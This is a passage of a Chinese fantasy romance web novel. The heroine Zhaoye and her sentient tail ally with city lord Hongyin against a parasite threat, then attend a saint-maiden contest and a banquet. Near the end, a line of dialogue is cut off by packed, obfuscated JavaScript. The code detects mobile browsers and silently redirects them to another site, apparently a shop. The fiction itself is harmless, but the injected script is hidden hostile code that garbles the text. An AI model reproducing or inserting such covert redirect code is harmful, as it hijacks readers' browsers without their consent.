我领着无悔悄悄溜出城,找了处荒无人烟的空地,拍拍怀里的青莲瓶,咬牙切齿道,“既然你送上门,就别怪我不客气了。” 自从上次与宏音斗棋输得一塌糊涂,尾巴萎蔫至极,一肚子火气无处发泄,甚至开始怀疑自己变成了笨蛋尾巴,成天唠唠叨叨,令人烦不胜烦。 今日,尾巴摩拳擦掌要好好教训这个不长眼的家伙撒撒气。于是,在无悔意识到我要对他下手的瞬间,尾巴原本柔和的光晕骤然迸发出凌厉的气势。他凌空舒展,仙力如潮汐般涌动凝聚,转瞬化作一道近三丈长的金色光尾,尾端闪烁着如星屑般细碎而危险的光芒。 好歹是修仙之人,对危险的感知异于常人,刹那间,无悔瞳孔微缩,身形急退的同时双手结印,周身泛起水波般的淡蓝光华,并甩出无数近乎无形的透明尖刺,如疾雨般射向尾巴——我捡起地面上的一根细管细细一看,正是当初伤过阿烈、害阿烈损失一壶花水烧酒的类似植物毛刺的武器。 “还来这招?嘿嘿。”尾巴不躲不闪,光尾凌空一旋,带起的气流竟将大部分尖刺卷偏方向。而剩余那些眼看就要刺中我时,我身侧悄然绽开数面巴掌大 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光鞭上的漩涡骤然加速旋转。无悔闷哼一声,能清晰看见缕缕淡蓝色的仙力自他体内被抽出,顺着光鞭流向尾巴。无悔试图挣脱,但越是催动仙力反抗,流失的速度反而越快。 我慢慢踱近,瞅着一脸仙力亏耗过度的无悔,笑问,“还想要我的仙丹么。” “……你误会了,我从来没打过你那仙丹的注意。”无悔连连告饶,摆着手露出一个凄惨又讨好的笑,“别,别再吸了,快把我吸成人干了……” 尾巴缩回到我肩上,向站在不远的高处、不知何时出现的男人看去,恨恨道,“可恶,我还没研究好怎么打败他!” 说着尾巴竟逃之夭夭,躲回到瓶子中。 宏音自高处飘然而落,足下竟踏着一泓清澈流水。水波托着他轻盈落地,竟未溅起半点尘埃。 “脾气还挺大。”宏音瞥了眼临阵脱逃躲到青莲瓶中的尾巴,“尤其是在心情不好的时候。” “啧,真是可怕的力量,根本反抗不了。”无悔在宏音的搀扶下勉强起身,喘着粗气道,“这任务我不干了,她是笨,但绝对不好惹,你自己去问她究竟使了什么花招。” 话音未落,无悔便趔趄地逃了个干净。 我有些不爽地打量着宏音,这个坏人,有什么事儿不直接冲我来,总是指使别人来试探我。 真是莫名其妙令人不爽。 “那些雪雀,是你在操控?”宏音突然开口。 我一怔,尚未回答,宏音已自顾自地说了下去,“数万只雪雀冒着雨衔来闪光稻投喂若鱼,飞得虽高,但数量太多,终究有些扰人清静。” 原来焉耆找了雪雀当帮手——而且是几万只!怕是整个死人沟的雪雀都被它薅来充当了劳动力。 我梗着脖子,故作镇定道,“我这几天都在家里睡大觉。不知道什么雪雀……” 环顾四周,宏音仿佛在聆听风声,“不必遮掩。百目仙人的法眼,此刻不在。” “你到底想怎样?”我有些恼了,“再说一次,我不是棠梨。我体内是有鸿珠仙丹,但你们拿不走,别白费心思。” “在那之前,”宏音话音一转,“我更好奇另一件事。” 宏音抬手轻挥,一团清澈的水流自他掌心涌出,并迅速展开成透明的水幕,将我笼罩其中。我惊讶地戳了戳流动的水壁,指尖传来清凉柔软的触感。下一刻,脚下蓦然一空—— 失重感猛地袭来! 腰间忽然一紧,宏音从身后托住了我。我们悬停在半空中,四周飘浮着晶莹的水滴。我仔细看去,才发现我们竟被裹在一朵小小的云絮之中。 “在这里谈话,无人打扰。”宏音的声音近在我耳畔。 我怔怔看着周身流转的水光与云气,喃喃道,“你的仙力……好特别。” “天翮族崇尚驾驭自然之力,”宏音的声音平静无波,“而非将其掠夺,囚于己身。” 77. 第 77 章 第一次置身云絮之中,我才发现云里原来藏着这么多冰凉的小雨滴,密密麻麻悬浮在周围,好似在随着呼吸微微颤动。 “不是说百目仙人的法眼不在吗,为何还要躲在这里说话?” “星允在窥视着。”宏音的声音平静,“确切地说,他一直都在窥视你,照夜。” “……”我忽然想起之前星允试图引诱我“共鸣”的情形,心头泛起一阵嫌恶,“你刚才说有问题要问,是什么?” “你既不想当圣女,又为何要从中作梗,阻挠绛霞当选——这与你何干?” 我一怔,暗忖这冷面男怎么关心这个问题。 “我想帮盛放。还有就是……钱太多坑骗我们在先,我也存了报复的心思。”我抿了抿嘴,“总不能让我真的变成一个任人欺负的笨蛋。要是小青在,他绝不会让那些人这样对我。” “……关于青莲上仙,我倒也听到些许传闻。” “他已经回到上仙之列了?” 宏音抱臂望向云外,微微颔首,“年轻、强大,仙帝颇为器重,有意栽培。予以上仙之位而已,何其简单。” 我喉咙发紧,心中涌起一股难言的酸涩。我本该为穆青高兴的——他的计划好像正在顺利推进着,说不定归期已近。虽说如此,可一想到这里,我的眼眶就不受控制地滚烫起来。 未等我抬手,宏音的指尖已轻轻托起我的下颌。指腹缓柔地拭去我的泪痕,他语气依旧平淡,“别为男人落泪。会有人心疼。” “我都要怀疑,当初是你想接棠梨回来。”我望进宏音的眼睛里,“你舍不得她留在月下州,对不对?” 宏音怔了怔,似被勾起了久远的回忆,“是我。但她始终不肯……固执地要为那不可对抗的命运,留一分执拗的坚持。” “可正是因为棠梨的坚持,灾祸才被拦在了归德!”我按住发疼的胸口,泪水再次涌出,“舒岸从不去质疑棠梨的选择,他只选择守护她。你方才也看到了——那红色的晶盾,就是舒岸守护棠梨的意志。你们……怎能辜负她的这片赤忱呢?” 尾巴感受到我的悲伤,悄悄爬上我肩头,默默地一下下轻触我的脸颊。泪珠如雨滴般落入他的光晕里,又缓缓渗出去。 沉默良久,宏音环住我的肩膀,眼中尽是懊悔与痛苦,声音低得几乎融进云絮里,“抱歉。我没能阻止那些狂热的信徒……是我,害死了她。” “你知不知道……”我声音发颤,“那时的棠梨已经有了身孕!她本该要当母亲了!” 宏音闻言,蓦地一怔,随即道出一个令我浑身发冷的真相——连尾巴都惊得竖起了光尖。 “照夜,历代所有月翮圣女,都注定无法生育。”宏音的声音在云絮间显得格外清晰,“因成为圣女的第一步,便是割舍生育之能,以此昭示,她将奉献此生所有的‘月辉’,庇佑族人与故土平安。” 我脑海中轰然作响,忽然想起曾与钩星谈论三界生灵繁衍时的对话。仙人孕育子嗣时,母体的仙力会被胎儿汲取,故而许多仙人不愿亲身怀胎。对天翮族来说,若孕育后代,则意味着力量会分散至胎儿,不能全然奉献于族人,故而月翮圣女,自受封之日起便被剥夺了这份权利,以确保对族群的绝对忠诚。 可是……倘若棠梨腹中的并非孩子,又会是什么? “是无相孽的卵。”一直沉默的尾巴忽然开口,惊得我遍体生寒,“照夜,虽舒岸未曾亲口告诉你,但我焚除他体内孽物时,窥见了一些他的记忆。当年射穿棠梨的那一箭,在精准击碎她仙丹的同时,也贯入了舒岸的身体——无相孽的核心,或许正是那时为求活命,顺着伤口转移到了他体内,蛰伏至今。” 我猛地攥紧尾巴,震骇得几乎喘不过气,周围冰凉的雨滴仿佛吸走了我周身所有温度,“你……你确定吗?!” “虽只是推测,但应八九不离十。因我和青莲始终想不通舒岸究竟何时染上菌丝……你仔细回想,舒岸可有何处与其他感染者不同?” 我竭力平复心绪,回忆与舒岸相识后的种种。忽然间,他数次受伤流血的画面清晰浮现—— 是了。归德那些被菌丝侵蚀的感染者,创口会被菌丝填补,因其□□已死,不会再流血。但舒岸……他一直都会流血。 “这就对了。”尾巴轻环住我的脑袋,无视了宏音投来的探究目光,“这说明无相孽的核心藏在舒岸身体极深处……若非经年累月,绝不可能潜藏至此。所以舒岸——早在棠梨逝去的那一刻,便已被感染。” “可为什么……为什么足足二十多年后,灾祸才爆发?” 问出这句话的瞬间,我自己已然明白了答案。 舒岸虽早早开启了灵关窍,却始终未曾修行。正因如此,他体内的无相孽无法汲取足够的仙力滋养,几乎一直沉睡着,直到——玉山那场灾变发生,他亲赴应战。 倘若这就是真相…… 我望向脚下高耸的翮山轮廓,艰难地深吸一口气。倘若这是真相,那么天翮城某处,一定还藏着更多怪物的胚胎。否则,当年又如何能感染棠梨? 目光转向宏音,我竟对这喜怒不形于色的男人生出一丝疑虑——他曾是与棠梨最亲近的人,难道会不知她何时遭此毒手? 尾巴“嗖”地弹至宏音领边,几乎贴着他脸颊端详许久,才缓缓退回,得出结论,“他不知,也没作伪,他是真的很爱棠梨。” “好吧,既然尾巴都信你,那我便告诉你实情。”我定了定神,朝宏音伸出手去,“除此之外——我愿意与你合作。为了棠梨,为了舒岸,为死在这场战争中的所有人,为消灭无相孽,为——揪出幕后主使!” “多谢你的援手,照夜。”宏音的神情难得地郑重,“作为天翮城的城主、圣司大人的聆月使,我自当付你相应的报酬。” 一听到“报酬”二字,尾巴立刻精神抖擞,光晕都亮了几分。 宏音不紧不慢道,“你可以有限度地‘成为’棠梨一段时间,并在许可的范围内,享有她曾拥有的权利。” 我一愣,“比如呢?” 宏音的目光落在急不可耐的尾巴身上,唇角浮起一丝意味深长的笑意,“比如——只要不糟蹋,月羽花随你使用。” 尾巴赶忙拉扯我的嘴角,生怕我拒绝,语气里流露着难以抑制的急迫,“答应他,答应他啦照夜,照夜~” 虽然总觉得哪里不太对劲,但看尾巴这么眼巴巴地盼着,我也只好点头,“行吧。不过等无相孽的残卵清理干净,咱们的合作就一笔勾销。” 宏音轻轻握住我的手,脸上第一次露出如此和煦的笑意,“好,照夜。一言为定。” 比起飘在云里,我还是更喜欢脚踏实地的感觉。 从今日起,我成了聆音石府的“贵客”。虽非圣女,却能享用圣女专用的浴池与月羽花口脂。月终气得几乎咬碎银牙,可她到底拗不过宏音,只得借口要盯着圣女们集训,愤然离去。 谁管她呢。我回房便厚厚涂了一层口脂,把尾巴拽出来狠狠亲了好半天,亲得他软成一滩光泥,神智恍惚,任我摆布——就连被我打了个漂亮的死结他都没生气。 “圣司大人,您想吃点什么?我去准备。” 我耐着性子向汀汀解释第一百八十遍,“我不是圣司,也不是圣女。你这丫头是不是存心找茬?” 汀汀小声嗫嚅,“可、可只有圣女大人……才受得住这寒池呀……” 于是那个老问题又浮了上来,洗澡为什么非要用冰水?!温水热水就不能洗澡了? 汀汀也不装了,嘿嘿一笑,袒露了实情:这寒池之水,可绝育。 我顿时惊得头皮发麻,可恶的宏音,心眼子黢黑,想来他第一次招待我竟就用上了这,这害人的洗澡水! 等汀汀前脚一走,我便悄摸摸和尾巴溜到了那浴池边上。 “你下去把塞子拔出来,咱们悄悄把水给他放光!” “虽然有些没事找事,但……可恶,他竟然赢了我个二十比零!给他点颜色瞧瞧!” 仍对 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天翮城的聆月使兼城主大人的房间可真够大的,大得有些空旷冷清。我和尾巴翻找了好一阵,连床板底下都摸遍了,也没发现什么《大师棋艺速成宝典》之类的秘籍。 正埋头苦找时,汀汀冷不丁出现在身后,好奇地问,“圣司大人,您在找宝藏么?” “……呃,是啊,有点好奇宏音的宝贝都藏在哪儿……” 汀汀掩嘴轻笑,“以前棠梨圣司也总爱在这儿寻宝呢。聆月使大人时常会藏些小玩意儿,让她找着玩。” 我尴尬地挠挠头,又问,“那……有没有专门放棋谱的地方?我想去参观参观。” 汀汀歪头想了想,“那肯定在咱们天翮城的藏书馆里。不过……去了可能也是白跑一趟呢……” 我原本以为,天翮族入籍门槛虽低,除了虔诚信徒外,应当没多少人真想正儿八经地入籍。可万万没想到,入籍者竟多如过江之鲫。一路上,汀汀这没心眼儿的实诚丫头,滔滔不绝地给我透露了不少“小秘密”。 譬如,最近排队入籍进城的人,快把南边的天水集挤满了;又譬如,化西城因改制动荡,大量富户蜂拥而至,导致天翮城地价飞涨,整个城区都在大兴土木准备扩建。 此外,入籍后还能享受诸多福利——比方说,随意进出那座只对天翮族人开放的藏书馆。 我心想,读书嘛,倒也算得上一项不错的居民福利。只是……当亲眼见到藏书馆里人头攒动、热闹如赶集般的场面时,我还是愣了好一会儿。 好家伙!坐落于天翮城西南角的那座七八层高的宏伟石筑里,陈列着密密麻麻的各类书卷,数量之巨,简直令人大开眼界。不止如此,书籍种类更是包罗万象,从天文地理、曲艺杂谈,到……香艳话本,应有尽有。我来时,正巧遇上学生们集体研读,馆内气氛热烈到若不赶紧抓本书装样子,都显得与周遭格格不入。 汀汀悄悄告诉我,虽然我没入籍,但身份特殊,享有特权——这里的书,随便看! 那我可就不客气了。在尾巴的连声催促下,我一头扎进了这无边的书海。 存放棋谱的书架前反倒人影寥寥。尾巴一边指挥我爬上爬下,一边以常人难以理解的速度“哗哗”翻阅着各种棋谱。我累得哼哧哼哧,往往刚递上一本,气还没喘匀,尾巴就看完了。 “你是不是在糊弄我?哪有人读书这么快的!看清楚了没有啊?” “可别拿我和你这个小笨蛋相提并论。这些棋谱都太普通了。宏音的棋艺已属顶尖,才不会看这种小儿科的东西。”说着,尾巴拽着我的辫子,努着并不存在的嘴巴道,“去问问管理员,有没有什么‘秘典室’之类的。” “啊?既然是秘典室,咱们也进不去吧……” “我不管!我就要去!”尾巴火冒三丈,像是示威般,轻轻咬了下我的耳垂。 自从尾巴输了,就像是变了条尾巴。我真不明白,一条尾巴哪来这么强的胜负欲。要我说,还不如学我躺平——境界反倒高一成呢。 78. 第 78 章 管理员打着哈欠,听完我支支吾吾、拐弯抹角提出想看看“藏好东西的特殊房间”后,只淡漠地指了指登记簿,随手甩给我一块阅览牌,便不再搭理我。 整个过程顺利得简直不可思议——甚至让人怀疑是不是有陷阱。 藏书馆地下二层确实有间不起眼的房间。门口两位管理员正打着瞌睡,见有人来才勉强打起精神,例行公事地检查是否携带火源——毕竟满屋都是“古籍”,防火至关重要。 屋里倒也有不少人,只是个个面色凝重,空气中弥漫着一种压抑的静谧。 尾巴可不管那么多,“嗖”地弹到最近的书架上,就近捞起一本看起来颇新的“古籍”。 翻开书页的瞬间,我和尾巴都愣住了——也顿时明白了汀汀那句“白跑一趟”的深意:这里所有的书卷,全是用早已失传的天翮古文字写就的,根本无人能看懂。 难怪虽是“秘典室”,却对外开放,甚至还会定期举办研习交流,将各地钻研古文字的学者们聚在一处,试图共同破译这些天书般的字符。 趁尾巴忙着翻找棋谱时,我和管理员聊了几句,这才得知更多“内情”。 原来半年前天翮城归治仙界后,城主宏音便下令永久开放秘典室。他不仅将所有古籍誊抄副本摆出展示,更允许三界所有对古文字有兴趣的人前来研究、破译。 我心中一动,宏音这一招看似自损八百,实则是以退为进——与其让仙界暗中觊觎、强夺天翮宝藏的线索,不如将月翮壁上的秘密公之于众。谁能破译古文字,谁便能率先触及宝藏。 只可惜,因玉山变故,通往天翮城的道路并不顺畅。魔界只能冒险穿越死人沟,仙界则更为麻烦——原本玉山东南的琉璃渡是人仙两界最重要的口岸,青莲山便在其附近,粒粒江也由此流入人界。如今渡口危机四伏,多数人只得绕道仙界北部的未湖往返两界。 若想从南边进入天翮城,就得跨越天涧——那是一道落差极大的瀑布,终年云雾缭绕,妖兽神出鬼没,凶险异常,常人通常不愿从此通行。 我暗自叹息,若非交通如此不便,这天翮城怕是早就被挤破了。 不过话说回来,既然有这么多人涌入,又怎会只有区区十人参加圣女选拔?虽说之前彤宝姑姑伙同信女落樱游说行人参赛,确有套路我的嫌疑,但……这次的大赛,确实冷清得反常。 想到这里,另一件事也让我心生疑窦。当初盛放为了筹钱,四万利衡币就卖掉了参赛信物,后来想赎回时,竟涨到了二十万。照常理,随着赛期临近,信物价格本该一跌再跌,怎会反而飙升到如此高价? 难道……是有人不希望太多人参选?意图暗中操控选拔? 唉,谜团真是越滚越多。稍一梳理,竟有四件大事纠缠着我: 其一,仙界觊觎的天翮族宝藏,究竟是什么? 其二,暗中破坏圣女选拔的幕后黑手,到底是谁? 其三,天翮城某处是否还埋藏着无相孽的胚胎? 其四,那个名叫“秽道人”的祸首,是否就藏身于此! 真是烦心。我照夜来天翮城本是为求医,怎么突然被这四桩麻烦事缠上了。 也罢。眼下牡狸暂无性命之忧,便是最好的消息。穆青也尚未归来,我就算回了月下州也是形单影只,还可能遭新君追捕,倒不如留在天翮城更安稳。 更何况,我不能对怪物的遗患置之不理,也决心要帮盛放夺冠! 所以……暂且按兵不动吧。 我想到这里,倦意便涌了上来。好在秘典室里有软椅可坐,我随手抓了本书窝进角落。看不懂,根本看不懂——不如睡大觉! 这一觉睡得天昏地暗,直到管理员来催关门我才醒。我迷迷糊糊地走向已空无一人的书架间寻找尾巴。绕到一处隐蔽角落,只见他正趴在摊开的书页上,一动不动。 凑近细看,他竟真在研究棋谱。 我忽然一拍脑门,哪怕是古籍,棋谱的构图逻辑总是相通的,行家自然看得懂! “果然如此……”尾巴长叹一声,合上书页,略显疲惫地任我拎起,在我手心瘫成一团光晕,“宏音之前能赢我,就是在这里偷学了破解之法。” “啊?这么巧?这书上怎么偏偏有对付你的棋路?” 尾巴晃了晃身子,光芒在体内流转,“我不知道,照夜。但这些书上……确实记载着我的棋谱。” 尾巴心情不太好,我竟能感受到他的情绪,大概是我们共存时间久了,彼此开心难过都会感知到。 这天晚上,我正窝在久违的、柔软的、华贵的大床上,捧着尾巴说悄悄话时,头顶的锦被忽然被人一把掀开。 我探出脑袋,只见宏音黑着脸坐在床边,直直瞪着我。 “几岁了?还玩这种恶作剧。”宏音声音里透着凉意,“把寒浴池的水放得一干二净——是不打算沐浴了?” 原来是兴师问罪来了。 我小声开口,语气里掺进几分怯生生的可怜——算准了宏音看在棠梨的份上不会真和我计较,“我喜欢用温水……那寒水太凉了,对身子不好……” “那是专程从天涧大寒瀑下的深潭引来的活水,也是玉轮湖的水源。”宏音似乎刚回府,声音里带着倦意,“不只供你沐浴,信女们平日也需用此水。这次罢了,下不为例。” “啊?那信女们长年用这水,岂不是也都……” “嗯,信女终身不婚不育。”宏音淡淡接话,“因她们要将一生奉献给圣司大人。” 这习俗也太反人类了。我迟疑地瞥宏音一眼,支吾问道,“那你……不会也……” 宏音替我掖好被角,低低应了声,“是。聆月使、守月卿与信女掌事,皆将一生献给圣司大人——正如她为族人、为这片土地奉献所有一样。” 我若有所思地轻叹,心里有些不是滋味。三界之中,似乎唯有魔族的生育观还算正常——虽说他们那股“必须生娃”的执念,又有点过头了。 冷不丁的,一处柔软的东西突然贴在我脸颊上,一触即离。我愣住,下意识捂住脸,在昏暗灯影中怔怔望着神情自若的男人,舌头都打了结。 “你、你干嘛!” “晚安吻。”宏音语气平静,“棠梨每夜睡前皆有此仪程。既答应予你同等权利,我自当尽力履行。睡吧,晚安,照夜。” 灯熄了许久,我仍有些发懵,总觉得哪里透着说不出的古怪。可惜尾巴依旧萎靡不振,躲在我胸前的夹缝里一动不动,我满腹疑惑也无处诉说。 转眼便到了圣女选拔初赛之日。等我睡醒时,汀汀告诉我比赛已经开始好一阵子了。 我慌忙抹了把脸就冲向赛场——好家伙!广场被人群里三层外三层围得水泄不通。我好不容易爬上一处屋檐,才看清场中激烈的战况。 可惜我来迟了,十二艺比试竟已结束!我紧张地看向排名,很好,前三依旧是绛霞、盛放与环琛。 不得了不得了,盛放的十二艺几乎全是满分!她怎么做到的?短短月余集训竟有如此造诣?那一瞬间,我竟生出种“我上我也行”的错觉。 “听说宏音大人终究是搞定了你呀,仙丹大人。” 阴阳怪气的家伙发出了阴阳怪气的声响。我瞪了眼不知何时出现在身旁的无悔,哼道,“只是暂时合作。” 自从上次仙力被我吸了个七七八八,无悔便眼圈发黑、两颊凹陷,像丢了半条魂似的。见他这副模样,我心底暗爽,故意问道,“大铁棘呢?休养这么久还没恢复精气神儿?” “……他不如我,前两日才能下床。今天勉强能来观赛。” “哼,活该。” “不敢了不敢了,真怕了你。”无悔打着哈欠,斜睨我一眼,“话说你们从哪儿找来这么个能人?十二艺竟能拿满分。” “法外狂徒盛放,自然样样精通。瞧见她脸上那些刺青没?都是勋章 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好在盛放和环琛如今也算半个名人,掌柜极有眼力地为我们腾出了一间雅室。 等菜时,我将浩烈粥铺被钱太多收回的事告诉了盛放。这暴脾气姑娘当即要去找那奸商算账,被无悔及时拦下。 “钱太多背后有大人物撑腰,何苦去触这霉头?选拔期间惹事,可是要直接取消资格的。” 我也连忙把盛放按回凳子上,“放心,这仇一定得报!等你当上圣女,再收拾他也不迟!” 盛放咬着牙捏紧拳头,却也只能作罢。谷阿翁从布兜里掏出一朵雪白的花递给盛放,“你爹今天赶不回来,特意捎了朵雪绒花给你。” 正埋头大吃的环琛闻声抬头,“盛放,你不是无人认领的胎果吗?怎么,找到爹爹了?” 啊?盛放竟然是——抱婴椿结的胎果?! “是浩哥送的吧。”嘴角浮起一丝笑意,盛放接过雪绒花别在发间,招呼大家动筷,“想来他就是阿娘的丈夫。既然如此,叫他一声爹爹……好像也没什么不妥。” 我哪有心思吃饭,刚想追问胎果之事,门外又来了两人——一位是“誉满三界”的庸医桃夭,另一位则是刚能下床的小铁棘之弟大铁棘。 “无悔,你不讲义气!吃酒居然不叫我?!” “铁棘兄,你下床都费劲,还惦记着蹭酒喝?” 桃夭一屁股坐到我旁边,满脸理所当然,“有便宜不占是王八蛋。反正今天这顿,有人付钱。” 环琛瞪大眼睛盯着大铁棘,脸颊瞬间红得像熟透的柿子,“铁、铁棘?” 我赶紧将座上这群“牛鬼蛇神”一一介绍了一遍,心里暗叹,不知不觉间,我竟认识了这么多乱七八糟的人物。 “铁、铁棘仙人!”环琛突然站起,清亮的声音压过了席间喧嚷,“请、请和我生娃!” “噗——妈呀,惊天爆炸大新闻!”无悔一口酒全喷了出来,拍桌大笑,“大铁棘!这魔族丫头要跟你——生娃!” “行!”大铁棘拍着胸膛,豪爽应道,“但我眼下还有些要事处理。你若不急,可以等等我。行走三界,最要紧的就是仗义!这点小事,包在我身上!” 环琛顶着几乎烧起来的脸慢慢坐回位子,眼里闪闪发亮。我这才猛然想起——她好像说过,自己是铁棘仙人的头号仰慕者。 万万没想到,环琛与大铁棘初次相见,就这么把终身大事定了。连早已习惯魔界“今天相识、明日生娃”这般作风的谷阿翁,也惊得目瞪口呆,连连拽我袖子问如何是好。 “这不挺好么?”我耸耸肩,“这下环琛家里也不用逼她成婚了。” “完了完了……”谷阿翁哭丧着脸,“原途大人要是知道出来一趟,唯一的妹妹就跟人跑了,非骂死我不可。” 我冲谷阿翁翻了个白眼,“人家一见钟情,轮得到他叽叽歪歪?甭理他!” 79. 第 79 章 今日这顿饭实在过于热闹,一顿饭下来,我耳朵里仿佛还嗡嗡作响。酒足饭饱后,那几位竟然勾肩搭背地唱跳起来,场面堪称壮观。 唯独盛放安静得有些反常。 这家伙,心里一定藏着事。 趁着在露台透气的间隙,我问起了浩哥的事。盛放没有多言,只承认丽娘确实是她的养母。当我追问丽娘如今身在何处时,她却移开了话题。 “谢谢你,照夜。这机会原本是你的……” 我连忙摆手,“不不不,我从来就没想参赛。况且什么十二艺,我恐怕一项都过不了。” “哈哈哈,看来你今天来晚了,没听到规则——十二艺的计分占比其实很小,关键还是看票数,就像仙界的口碑榜一样。” “那决赛又比什么?” 盛放望着远处,发间那支我们一起在归德地下洞窟找到的白玉簪,在夕阳下泛着温润的光泽,“管他呢,不重要。” 这场宴饮一直持续到傍晚。那几位还意犹未尽时,月终臭着脸前来付账,顺便带走了盛放和环琛。尚存几分清醒的无悔则左扶右搀,把桃夭和大铁棘弄了回去。 我与谷阿翁便沿着长街慢慢散步。他从魔界得到消息,一个月后的圣女选拔决赛,不仅仙帝将亲临观礼,魔界的国师——也就是环琛和泉礼的长兄原途——也将应邀前来。 “……仙魔两界都要到场?” “嗯。看来魔界想借此机会向仙界示好。这场合选得巧妙,既不过分正式,又不失郑重。” “那,那钩星呢,他的意思呢?” “魔皇陛下尚不够强大,眼下不能与仙界交恶。即便他心知仙界不可信,渊寂不可信……也只得暂且周旋。” 我长叹一声,胸口莫名发闷。审时度势从来不是喜好,而是无奈之选。魔界才走出昔日的荒芜不久,钩星又太过年轻,此时选择与仙界通商合作,确是上策。 而天翮城,恰是一个绝佳的通商口岸。 我望向远处缓缓走来的宏音,心中暗叹,若他能促成两界合作,这城主之位或许还能坐得稳些。 真是复杂。撇开这些纷繁的外交关系不谈,渊寂亲临天翮城之时,或许正是穆青取走源涡池仙力的最佳时机,只盼他一切顺利,早点回来接我才是。 谷阿翁还需出城接应游山一行人,便先走了,我则决定随宏音回去,继续享受几天好日子。 路上,见我神色沉郁,宏音问起这几日我在秘典室有何收获。我有些尴尬——因我大多时间都在上层翻话本,只有尾巴独自留在下面啃古籍。 “看来,你还没认输,照夜。” “是他没认输。” “你自己的仙力,何必分得如此清楚?”宏音步履悠然,似在欣赏沿途的夜色,“在旁人看来,你这症状可称作——精神分裂。” “哼,要你管。” “……脾气还挺倔,听不得批评。” “你又不是我爹,你的批评我才不听。” 宏音脚步微顿,示意我上马车,“我今已两百六十余岁,当你爹爹绰绰有余,照夜。” “这么说……棠梨是你一手带大的?” “嗯,她出生后不久,就是我在养她。” 原来,宏音算是棠梨的父亲。 时隔多日,那冷得刺骨的浴池又蓄满了水。光是看到水面升腾的白雾,我都觉得牙齿发颤。我制止了要下水的汀汀,自己迅速在水里滚了一圈就爬了上来。 正在屋里擦头发时,宏音又来了。 与白日一丝不苟的装束不同,此刻宏音长发散落,只随意披着件睡袍。他从我手中接过柔软的棉巾,熟练地拢起我的长发轻轻绞干。镜中,他始终低垂着眼眸,神色难辨,“明日还去藏书馆?” “我想去哪儿就去哪儿,不用向你报备。” “星允问起你为何没有参赛。明日你随我去一趟。” “一个个管得真宽。”我撇撇嘴,“我是青莲山的人,除了小青,谁也别想管我。” “给你做的衣裳为何不穿?不喜欢?” 我没好气地回嘴,“……你可以不必做这些。” 我有些懊恼地挣脱宏音的手,话到嘴边却咽了回去——因为我看见了宏音眼底那抹藏得极深的哀恸与悔意,“我有些糊涂了……我究竟有几分像棠梨?” 宏音苦笑一声,“外貌、脾气、声音,甚至微笑和哭泣时的神态……都像极了。” 我抿着嘴唇,轻声道,“我知道了。明天我跟你去。星允上仙那儿我会解释清楚,反正罪多不压身,我不怕他。” “不知如何回答,便跳过极像棠梨这个话题么?”宏音轻轻放下棉巾,“也罢。需要晚安吻吗?” 我立刻跳出八步远,连连挥手,“不要不要不要!” 次日出发前,我依然拒绝穿上那身合体又华贵的金蚕丝衣裳。即便我摆着一张臭脸,宏音也只是选择顺着我,倒让我不好意思乱发脾气了。 尾巴百无聊赖地趴在我头顶,打了个哈欠评价道,“狡猾的男人,摆出弱势姿态,为的是更强势地达到目的。照夜你这个笨蛋,对男人的了解还停在皮毛上呢。” 宏音似乎已习惯我的“自言自语”,只是微微闭目养神,并不作声。 “一会儿要见星允,可想好怎么应付了?” 尾巴滑到我胸前,光晕里透出跃跃欲试的笑意,“我倒想试试星允的本事。听说他的战力不输青莲……打一场,顺便从他身上薅点仙力存着。” “啊?我才不要!那样会被卫戍司通缉的!再说那种脏兮兮的仙力,我才不要吸进身体里……” 尾巴拽着我的辫子荡起秋千,惬意得很,“咦,还挺讲究。其实……有件事我没告诉你。基本上呢,只要是你认识、接触过的人,无论敌友,他们的仙力……我都尝过一口。” 如雷贯耳!我抓起尾巴用力摇晃,气得头顶冒烟,“可恶!不可以这样!好变态的感觉!” 尾巴大笑道,“轻点轻点!就是浅尝一口嘛,那点‘口粮’转眼就被你体内的仙力净化干净,褪色了。除了舒岸的——他的力量被我单独留了下来。” “……罢了罢了。”我偷瞄了一眼对面闭目养神的宏音,压低声音问,“尾巴,宏音的仙力……是什么味道?” 尾巴咂了咂并不存在的嘴,深深叹息,“是无限哀恸的味道……就像今天这场大雨。” 大雨倾盆,仿佛天穹被撕开了一道缺口。出城后,我们来到深隐在密林中的宅邸。我抬头望见门楣上的匾额:无辰院。 “欢迎,城主大人。”没想到溟牙竟候在门前。那条黑脊蛇从他袖口悄悄探出头,警觉地打量着我。 我不过比划了个“打结”的手势,它便猛地缩了回去。 可恶……胆小成这样,反倒让人觉得有点可爱了。 上次来得匆忙未曾细看,我这次才发现院里竟有不少信女。我拽拽宏音的袖子,低声问,“信女不是只侍奉圣女么?怎会在这里?” 宏音神色依旧平淡,“有些事你既不懂,便不必追问。问多了,反倒显得我们太过不堪。” 我正想再问,却被耳后的尾巴打断了思绪。 尾巴贴着我的颈侧,深深嗅着我身上沾染的月羽花香,声音里带着某种了然的戏谑,“笨蛋,信女个个相貌身段出众,被派来‘伺候’贵客也是常事。由此可见,这位仙使的威势——非同一般啊。” “‘伺候’?”我脸颊一热,支吾起来,“包括……那种事吗?” 尾巴轻嗤一声,“仙人又不是和尚。你以为这世上真有那么多不染尘埃的得道之士?早说过了,男人脑子里就不可能不想那档子事。” 今日显然是场正式宴请。除了星允、溟牙与宏音,座上还有一位仅有一面之缘的男人——化西城主图拉。 我心里一紧,下意识垂下头,攥紧了宏音的衣角,试图把自己藏起来。 果然,尚未落座,图拉便猛地起身,指着我高声道,“仙使大人!就是她!当初就是她伙同逆贼未生做了回伪君的说客,企图隐瞒归德城灭的真相!事后还炸了湖,闹得人心惶惶!” 星允好整以暇地坐在上首,手支下颌,一副看戏的神态,“哟,照夜。你自归德离开,一路来到天翮,倒是做了不少事啊。说是来参加圣女选拔,结果呢——” “回、回禀星允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549545|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上仙——” 话音未落,两名仙军已按住我的肩膀,厉声呵斥,“既为仙民,面见上仙岂敢不跪!”说着便要押我下跪。 宏音却抬手托住我的肘弯,神色淡漠,“仙使,照夜如今是我宏音的贵客。若执意为难她,今日这酒,不饮也罢。” 